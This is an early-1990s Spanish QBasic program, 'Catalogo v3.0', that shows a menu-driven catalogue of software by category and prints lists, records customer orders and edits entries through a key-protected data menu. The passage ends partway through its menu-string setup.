pp:
CLEAR
ON ERROR GOTO corrector
DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50)
KEY(1) ON
KEY(2) ON
ON KEY(1) GOSUB help
ON KEY(2) GOSUB finp
CLS
GOSUB menu1
GOSUB cargachar
COLOR 1, 7
l = 1
GOSUB secuencia
espera:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera3:
I$ = INKEY$
IF I$ = "" THEN GOTO espera3
IF I$ = CHR$(13) THEN GOTO ejecuta
IF I$ = CHR$(27) THEN GOSUB help
GOTO espera3
sube:
ant = l
IF l = 1 THEN l = 11 ELSE l = l - 1
GOSUB secuencia
RETURN
baja:
ant = l
IF l = 12 THEN l = 1 ELSE l = l + 1
GOSUB secuencia
RETURN
secuencia:
IF l = -1 THEN l = 11
IF l = 12 THEN l = 1
IF ant = 0 THEN ant = 1
COLOR 7, 1, 1
LOCATE 2 * ant, 2: PRINT lot$(ant)
COLOR 1, 7
LOCATE 2 * l, 2: PRINT lec$(l): RETURN
END
ejecuta:
KEY(11) OFF
KEY(14) OFF
COLOR 7, 1, 1
IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm
END
lp:
f = l
IF f = 10 THEN f = 0
GOSUB tipodeficha
REM LISTA DE PROGRAMAS
IF Tf$ = "0" THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
contador = 13: COLUMNA = 34
FOR A = 1 TO LOF(1) / 14 + 1
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1, A
IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua
imprime:
COLOR 12, 1, 1
LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$
contador = contador + 1
IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre
IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13
continua:
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "PULSE UNA TECLA"
COLOR 15, 1, 1
LOCATE 5, 60: PRINT "Para ir al MENé "
p:
IF INKEY$ = "" THEN GOTO p
COLOR 7, 1, 1
FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr
LOCATE 4, 60: PRINT " F1 HELP "
LOCATE 5, 60: PRINT " F2 Exit to DOS"
GOTO espera
contimpre:
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "Pulse una tecla"
LOCATE 5, 60: PRINT "para continuar."
COLOR 7, 1, 1
p2:
IF INKEY$ = "" THEN GOTO p2
LOCATE 4, 60: PRINT " "
LOCATE 5, 60: PRINT " "
contador = 13: COLUMNA = 34
FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba
RETURN
END
mm:
GOSUB menu2
l2 = 1
GOSUB secuencia2
espera2:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube2
ON KEY(14) GOSUB baja2
espera4:
I$ = INKEY$
IF I$ = "" THEN GOTO espera4
IF I$ = CHR$(13) THEN GOTO ejecuta2
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera
GOTO espera4
sube2:
ant2 = l2
IF l2 = 1 THEN l2 = 4 ELSE l2 = l2 - 1
IF ant2 = 0 THEN ant2 = 1
GOSUB secuencia2
RETURN
baja2:
ant2 = l2
IF l2 = 4 THEN l2 = 1 ELSE l2 = l2 + 1
GOSUB secuencia2
RETURN
secuencia2:
IF l2 = -1 THEN l2 = 4
IF l2 = 5 THEN l2 = 1
COLOR 7, 1, 1
IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2)
IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2)
IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2)
IF ant2 = 4 THEN LOCATE 10, 39: COLOR 9, 1, 1: PRINT lot2$(ant2): COLOR 7, 1, 1
COLOR 1, 7
IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN
IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN
IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN
IF l2 = 4 THEN LOCATE 10, 39: COLOR 7, 0: PRINT lec2$(l2): COLOR 1, 7: RETURN
END
ejecuta2:
KEY(11) OFF
KEY(14) OFF
ON l2 GOTO il, gp, C, md
GOTO espera2
END
il:
ON ERROR GOTO corrector
REM FICHERO PARA IMPRIMIR
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion."
LOCATE 15, 34: PRINT "Cerciorese de que la impresora este"
LOCATE 16, 34: PRINT "encendida y de que tenga papel."
LOCATE 18, 34: PRINT " Pulse una tecla..."
N:
Q$ = INKEY$: IF Q$ = "" THEN GOTO N
IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas
FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT
pagina = 1
CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20)
LPRINT "ßßÛÛÛÛÛÛßßßßßÛÛÛßßßßß"
LPRINT "ßß Ü ßßßßÜ Ûßßß"
LPRINT "ßßßßßßßÜ ßßßßÜ ßß Üßß"
LPRINT "ßßÛßßßßÜ ßßßßÜ ßßÛ ß"
LPRINT "ßßÜÜÛÛÛÜ ßßßßÜÜÛß ßß"
LPRINT "ßß ßßßß ßßßß"
LPRINT "ÛßßßßßßßßßßßßßßßßßßßÛ"
LPRINT "ÛJ.D Guill‚n s.u '92Û"
LPRINT "ßßßßßßßßßßßßßßßßßßßßß"
LPRINT "El n£mero que sigue al nombre del programa, indica"
LPRINT "la cantidad de diskettes que est‚ ocupa. Diskett de 3 «"
LPRINT "Disponible el 75% de los programas en diskettes de 5 ¬"
contador = 12
f = 1
nf:
' EMPIEZA LA ETAPA f=A
IF contador > 50 THEN GOSUB finlista
CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97)
IF f = 1 THEN LPRINT "JUEGOS"
IF f = 2 THEN LPRINT "MUSICA"
IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO"
IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD"
IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA"
IF f = 6 THEN LPRINT "GRAFICOS"
IF f = 7 THEN LPRINT "UTILIDADES"
IF f = 8 THEN LPRINT "COPIONES"
IF f = 9 THEN LPRINT "LENGUAJES"
IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS"
contador = contador + 2
CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF f = 1 THEN arc$ = "copy-3.dat"
IF f = 0 THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
GOSUB tipodeficha
FOR A = 1 TO LOF(1) / 14
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1
IF fichero$ <> Tf$ THEN GOTO sinsuerte
IF T$ <> " " THEN GOSUB guarda
IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1
IF contador > 55 THEN GOSUB finlista
sinsuerte:
NEXT A
CLOSE #1
IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
IF contador > 50 THEN GOSUB finlista
IF f <> 0 THEN f = f + 1: GOTO nf
CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33)
OPEN "r", #1, "MENSAJES", 30
FOR A = 1 TO 5
FIELD #1, 30 AS MENSAJE$
GET #1
LPRINT TAB(5); MENSAJE$
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Lista terminada..."
LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU"
d:
IF INKEY$ = "" THEN GOTO d
COLOR 7, 1, 1
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
GOTO subbrutinas
finlista:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel"
LOCATE 15, 34: PRINT " Pulse entonces una tecla para "
LOCATE 16, 34: PRINT " continuar listando."
COLOR 7, 1, 1
m:
IF INKEY$ = "" THEN GOTO m
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
LOCATE 16, 34: PRINT " "
CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
contador = 0: RETURN
guarda:
G = G + 1
IF G = 1 THEN EF$ = T$: EFD$ = DISK$
IF G = 2 THEN EL$ = T$: ELD$ = DISK$
IF G = 3 THEN EO$ = T$: EOD$ = DISK$
IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea
RETURN
END
imprimelinea:
LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$;
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
RETURN
gp:
' GRABAR DATOS DE PEDIDOS
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES"
p4:
I$ = INKEY$
IF I$ = "" THEN GOTO p4
IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas
LOCATE 14, 34: PRINT "Nombre del programa/s... "
COLOR 12, 1, 1
PL = 15: TCOL = 34
FOR zA = 1 TO 21
PL = PL + 1
COLOR 12, 1, 1
lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$
IF PL = 22 THEN PL = 15: TCOL = TCOL + 13
CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont
NEXT zA
cont:
COLOR 14, 1, 1
LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: "
LOCATE 14, 34: PRINT " "
COLOR 15, 1, 1
lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$
fil$ = nombre$ + ".JD"
CLOSE #1: CLOSE #2
OPEN "R", #2, "commun_d.jd", 8
FIELD #2, 8 AS nom$
LSET nom$ = nombre$
PUT #2, LOF(2) / 8 + 1
CLOSE #2
OPEN "R", #1, fil$, 10
FOR b = 1 TO CREO + 1
FIELD #1, 10 AS tele$
LSET tele$ = A$(b)
PUT #1, LOF(1) / 10 + 1
NEXT b
CLOSE #1
FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT
GOTO subbrutinas
END
C:
COLOR 7, 1, 1
LOCATE 3, 49: PRINT "Creditos "
LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 "
LOCATE 16, 33: PRINT " Pantallas y programa ... "
COLOR 12
LOCATE 18, 33: PRINT " Jos‚ David Guill‚n "
LOCATE 19, 33: PRINT " Tlf. 561-XX-XX "
COLOR 7, 1, 1
LOCATE 21, 33: PRINT " 1993, 1§BTI "
pause:
IF INKEY$ = "" THEN GOTO pause
FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q
GOTO subbrutinas
subbrutinas:
GOSUB secuencia
GOSUB menu2
GOSUB secuencia2
GOTO espera2
END
md:
LOCATE 15, 35: PRINT "INTRODUCE CLAVE:": lon = 4: lin = 15: col = 53: tipo$ = " ..z": GOSUB limlin
clave$ = texto$
IF clave$ <> "JD " THEN LOCATE 15, 35: PRINT STRING$(35, " "): GOTO subbrutinas
LOCATE 15, 35: PRINT " "
GOSUB menu3
l3 = 1
GOSUB secuencia3
espera5:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube3
ON KEY(14) GOSUB baja3
espera6:
I$ = INKEY$
IF I$ = "" THEN GOTO espera6
IF I$ = CHR$(13) THEN GOTO ejecuta3
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu2: GOSUB secuencia2: COLOR 1, 7: GOTO espera2
GOTO espera6
sube3:
ant3 = l3
IF l3 = 1 THEN l3 = 4 ELSE l3 = l3 - 1
IF ant3 = 0 THEN ant3 = 1
GOSUB secuencia3
RETURN
baja3:
ant3 = l3
IF l3 = 4 THEN l3 = 1 ELSE l3 = l3 + 1
GOSUB secuencia3
RETURN
secuencia3:
IF l3 = -1 THEN l3 = 4
IF l3 = 5 THEN l3 = 1
COLOR 7, 1, 1
IF ant3 = 1 THEN LOCATE 5, 39: PRINT lot3$(ant3)
IF ant3 = 2 THEN LOCATE 6, 39: PRINT lot3$(ant3)
IF ant3 = 3 THEN LOCATE 8, 39: PRINT lot3$(ant3)
IF ant3 = 4 THEN LOCATE 10, 39: PRINT lot3$(ant3)
COLOR 1, 7
IF l3 = 1 THEN LOCATE 5, 39: PRINT lec3$(l3): RETURN
IF l3 = 2 THEN LOCATE 6, 39: PRINT lec3$(l3): RETURN
IF l3 = 3 THEN LOCATE 8, 39: PRINT lec3$(l3): RETURN
IF l3 = 4 THEN LOCATE 10, 39: PRINT lec3$(l3): RETURN
END
ejecuta3:
KEY(11) OFF
KEY(14) OFF
ON l3 GOTO ip, bp, im, vbp
GOTO espera5
END
ip:
' Introducir Programas
selpro:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT " Seleccione SECCIàN"
COLOR 1, 7
GOSUB secuencia
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera7:
I$ = INKEY$
IF I$ = "" THEN GOTO espera7
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5
IF I$ = CHR$(13) THEN GOTO elrea
GOTO espera7
LOCATE 14, 34: PRINT " "
elrea:
IF l = 11 THEN BEEP: GOTO espera7
ft = 15
qm = 34
lin = 0
col = 0
CONTAR = 0
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Nombre N§D Nombre N§D "
FOR G = 1 TO 14
COLOR 7, 1, 1
ft = ft + 1
IF lin = 22 THEN ft = 16: qm = qm + 18
lin = ft
col = qm
lon = 10: tipo$ = " ..z": GOSUB limlin: A$(G) = texto$
IF A$(G) = " " THEN GOTO Grapro
lon = 3: lin = ft: col = qm + 12: tipo$ = "0..9": GOSUB limlin: T$(G) = texto$
CONTAR = CONTAR + 1
NEXT G
Grapro:
qm = 0: ft = 0
f = l: IF f = 10 THEN f = 0
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
GOSUB tipodeficha
OPEN "R", #1, arc$, 14
FOR b = 1 TO CONTAR
FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$
LSET fichero$ = Tf$
LSET tele$ = A$(b)
LSET DISK$ = T$(b)
PUT #1, LOF(1) / 14 + 1
NEXT b
CLOSE #1
FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q
GOTO selpro
END
END
bp:
' Borrar Programas
COLOR 7, 1, 1
LOCATE 20, 34: PRINT " "
selpro2:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT STRING$(37, " ")
LOCATE 14, 34: PRINT " Seleccione SECCIàN "
COLOR 1, 7
GOSUB secuencia
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera72:
I$ = INKEY$
IF I$ = "" THEN GOTO espera72
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5
IF I$ = CHR$(13) THEN GOTO elrea2
GOTO espera72
LOCATE 14, 34: PRINT " "
elrea2:
CONTAR = 0
' PROCESO DE BUSQUEDA
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Nombre a eliminar: "
COLOR 7, 1, 1
lin = 14: col = 53: lon = 10: tipo$ = " ..z": GOSUB limlin: busqueda$ = texto$
X$ = busqueda$ + " "
fin$ = LEFT$(X$, 10)
f = l: IF f = 10 THEN f = 0
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
OPEN "R", #1, arc$, 14
contador = 1
FOR A = 1 TO LOF(1) / 14
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1: PI$ = T$
IF VAL(fichero$) <> f THEN GOTO sigue
IF PI$ = fin$ THEN GOTO borrar
sigue:
contador = contador + 1
NEXT A
CLOSE #1
IF busqueda$ = " " THEN GOTO bp
LOCATE 16, 34: PRINT "*** No encuentro a"
COLOR 12, 1, 1: LOCATE 16, 51: PRINT busqueda$: COLOR 7, 1, 1: LOCATE 17, 34: PRINT "*** Puede deberse a error tipografico."
frt:
IF INKEY$ = "" THEN GOTO frt
FOR T = 14 TO 22: LOCATE T, 34: PRINT STRING$(37, " "); : NEXT T
GOTO elrea2
END
borrar:
' ELIMINANDO DATOS
CLOSE #1
COLOR 14, 2, 2
LOCATE 20, 34: PRINT "¨ Seguro, desea eliminarlo (S/N) ?"
rte:
IF INKEY$ = "" THEN GOTO rte ELSE IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO bp
A$ = " ": d$ = " "
GOSUB tipodeficha
OPEN "R", #1, arc$, 14
FOR b = 1 TO 2
FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$
LSET fichero$ = Tf$: LSET tele$ = A$: LSET DISK$ = d$
PUT #1, contador
NEXT b
CLOSE #1
GOTO bp
END
im:
' Introducir mensaje
COLOR 14, 1, 1
PAL$ = "EL ANTIGUO COMENTARIO ERA:"
FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT
COLOR 12, 1, 1
OPEN "R", #1, "MENSAJES", 30
FOR A = 1 TO LOF(1) / 30
FIELD #1, 30 AS MENSAJE$
GET #1
RE$ = MENSAJE$
LOCATE 16 + A, 38: PRINT RE$
NEXT A
CLOSE #1
COLOR 14, 1, 1
PAL$ = "DESEA CREAR UN NUEVO COMENTARIO"
FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT
reten:
A$ = INKEY$: IF A$ = "" THEN GOTO reten
IF A$ = "S" OR A$ = "s" THEN GOTO modificar ELSE GOTO fin
modificar:
FOR b = 1 TO 31: LOCATE 14, 36 + b: PRINT " ": PLAY "C25": NEXT
KILL "MENSAJES"
FOR C = 1 TO 5: lon = 30: lin = 16 + C: col = 38: tipo$ = " ..z": GOSUB limlin: AL$(C) = texto$: NEXT C
CLOSE #1: OPEN "R", #1, "MENSAJES", 30: FOR b = 1 TO 5: FIELD #1, 30 AS AU$: LSET AU$ = AL$(b): PUT #1, LOF(1) / 30 + 1: NEXT b: CLOSE #1
PAL$ = "SU MENSAJE QUEDA GRABADO "
FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT
PAL$ = "PULSE UNA TECLA PARA VOLVER AL MENU..."
FOR s = 1 TO 37: TOL$ = MID$(PAL$, s, 1): LOCATE 16, 34 + s: PRINT TOL$: PLAY "A20": NEXT
reten2:
IF INKEY$ = "" THEN GOTO reten2
fin:
FOR s = 14 TO 22: LOCATE s, 34: PRINT STRING$(37, " "): PLAY "A20": NEXT
GOSUB secuencia: GOSUB secuencia3: GOTO espera5
END
vbp:
COLOR 7, 1, 1
FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
GOSUB derecha
' Visionar/Borrar Pedidos
KEY(13) ON
KEY(12) ON
ON KEY(13) GOSUB derecha
ON KEY(12) GOSUB izquierda
pause1:
I$ = INKEY$
IF I$ = "" THEN GOTO pause1
IF I$ = CHR$(13) THEN GOTO ejecuta4
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5
BEEP: GOTO pause1
derecha:
Y = Y + 1
IF Y = 3 THEN Y = 1
COLOR 7, 1, 1
LOCATE 10, 39: PRINT "Visionar / Borrar pedidos ";
COLOR 14, 1, 1
IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR";
IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR";
RETURN
izquierda:
IF Y = 1 THEN Y = 2 ELSE Y = Y - 1
IF Y = -1 THEN Y = 2
COLOR 7, 1, 1
LOCATE 10, 39: PRINT "Visionar / Borrar pedidos ";
COLOR 14, 1, 1
IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR";
IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR";
RETURN
ejecuta4:
KEY(13) OFF
KEY(12) OFF
ON Y GOTO VERD, bord
VERD:
COLOR 12, 1, 1
f = 0: C = 0
OPEN "R", #2, "commun_d.jd", 8
IF LOF(2) = 0 THEN GOTO RETIT
GOTO SIGPW
RETIT:
CLOSE #2: LOCATE 14, 34: PRINT "ARCHIVO VACIO"
QET:
IF INKEY$ = "" THEN GOTO QET
LOCATE 14, 34: PRINT " ": GOTO vbp
SIGPW:
FOR d = 1 TO LOF(2) / 8 + 1
IF f = 21 THEN C = C + 10: f = 1 ELSE f = f + 1
IF f = 21 AND C = 20 THEN GOTO finfile
FIELD #2, 8 AS nom$
IF nom$ <> " " THEN LOCATE 15 + f, 34 + C: PRINT nom$
T$(d) = nom$
GET #2
NEXT
finfile:
CLOSE #2
LOCATE 14, 34: PRINT "Input Name: (May£s.) "
LOCATE 14, 34: PRINT "Input Name: "
lon = 8: col = 47: lin = 14: tipo$ = "0..Z": GOSUB limlin: NOMIN$ = texto$
FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
IF NOMIN$ = " " THEN GOTO vbp
FOR QWS = 1 TO 21: contr = contr + 1: IF NOMIN$ = T$(QWS) THEN GOTO ELIGE
NEXT QWS
GOTO infal
END
ELIGE:
IF Y = 1 THEN GOTO CONSEC ELSE GOTO BORRD
END
CONSEC:
fil$ = NOMIN$ + ".JD"
PL = 13: TCOL = 34
OPEN "R", #1, fil$, 10
IF fallo = 1 THEN fallo = 0: GOTO infal
IF fallo = 2 THEN fallo = 0: GOTO Infalde
FOR b = 1 TO LOF(1) / 10 + 1
FIELD #1, 10 AS tele$
PL = PL + 1
COLOR 12, 1, 1
lin = PL: col = TCOL: LOCATE lin, col: PRINT tele$
IF PL = 21 THEN PL = 15: TCOL = TCOL + 13
GET #1
NEXT b
CLOSE #1
COLOR 14, 1, 1
LOCATE 22, 34: PRINT "Lista terminada, Pulse una tecla..."
fo:
IF INKEY$ = "" THEN GOTO fo
FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
GOTO vbp
infal:
LOCATE 14, 34: PRINT "Archivo no encontrado"
FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT
Infalde:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "ERROR DESCONOCIDO;"
GOTO VERD
END
bord:
GOTO VERD
BORRD:
COLOR 14, 1, 1
LOCATE 13, 34: PRINT "ATENCION! Desea eliminarlo (S/N)"
ret:
IF INKEY$ = "" THEN GOTO ret
IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO vbp
fil$ = NOMIN$ + ".JD"
KILL fil$
nombre$ = " "
OPEN "R", #2, "commun_d.jd", 8
FIELD #2, 8 AS nom$
LSET nom$ = nombre$
PUT #2, contr
CLOSE #2
GOTO vbp
END
menu1:
COLOR 7, 1, 1
CLS
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ßßßßßßßÛ ÛßßÜ ³ø ø³ ";
PRINT "³ Juegos ³± Û Û ßÜ ³ø Catalogo v3.0 ø³ ";
PRINT "³ ³± Û Û ßÜ ³ø ø³ ";
PRINT "³ Musica ³± Û Û Û ³ø F1 Help ø³ ";
PRINT "³ ³± Û Û Û Üß ³ø F2 Exit to DOS ø³ ";
PRINT "³ Procesadores de textos ³± Û Û Û Üß Ü³ø ø³Ü ";
PRINT "³ ³± ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ";
PRINT "³ Pgr. Contabilidad ³± ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ";
PRINT "³ ³± Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ";
PRINT "³ Pgr. Electronica ³± "
PRINT "³ ³±"
PRINT "³ Graficos ³± ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿";
PRINT "³ ³± ³ ³±";
PRINT "³ Utilidades ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ Copiones ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ Lenguajes ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ Anti_virus ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ - MENé PRINCIPAL - ³± ³ ³±";
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±";
PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
RETURN
menu2:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±";
LOCATE 3, 32: PRINT "³ Men£ actual: MENé PRINCIPAL ³±";
LOCATE 4, 32: PRINT "³ ³±";
LOCATE 5, 32: PRINT "³ Imprimir Lista ³±";
LOCATE 6, 32: PRINT "³ Grabar programas elegidos ³±";
LOCATE 7, 32: PRINT "³ ³±";
LOCATE 8, 32: PRINT "³ Creditos ³±";
LOCATE 9, 32: PRINT "³ ³±";
LOCATE 10, 32: PRINT "³ Men£ de Datos ( JD ) ³±";
LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ";
LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
COLOR 9, 1, 1
LOCATE 10, 39: PRINT "Men£ de Datos ( JD )"
COLOR 7, 1, 1
RETURN
menu3:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±";
LOCATE 3, 32: PRINT "³ Men£ actual: Men£ de Datos ( JD ) ³±";
LOCATE 4, 32: PRINT "³ ³±";
LOCATE 5, 32: PRINT "³ Introducir nuevos programas ³±";
LOCATE 6, 32: PRINT "³ Borrar programas ³±";
LOCATE 7, 32: PRINT "³ ³±";
LOCATE 8, 32: PRINT "³ Introducir mensaje ³±";
LOCATE 9, 32: PRINT "³ ³±";
LOCATE 10, 32: PRINT "³ Visionar / Borrar pedidos ³±";
LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ";
LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
COLOR 7, 1, 1
RETURN
cargachar:
lec$(1) = "þ JUEGOS "
lec$(2) = "þ MUSICA "
lec$(3) = "þ PROCESADORES DE TEXTOS"
lec$(4) = "þ PGRS. CONTABILIDAD "
lec$(5) = "þ PGRS. ELECTRONICA "
lec$(6) = "þ GRAFICOS "
lec$(7) = "þ UTILIDADES "
lec$(8) = "þ COPIONES "
lec$(9) = "þ LENGUAJES "
lec$(10) = "þ ANTI_VIRUS "
lec$(11) = " - Men£ Principal - "
lot$(1) = " Juegos "
lot$(2) = " Musica "
lot$(3) = " Procesadores de textos "
lot$(4) = " Pgr. Contabilidad "
lot$(5) = " Pgr. Electronica "
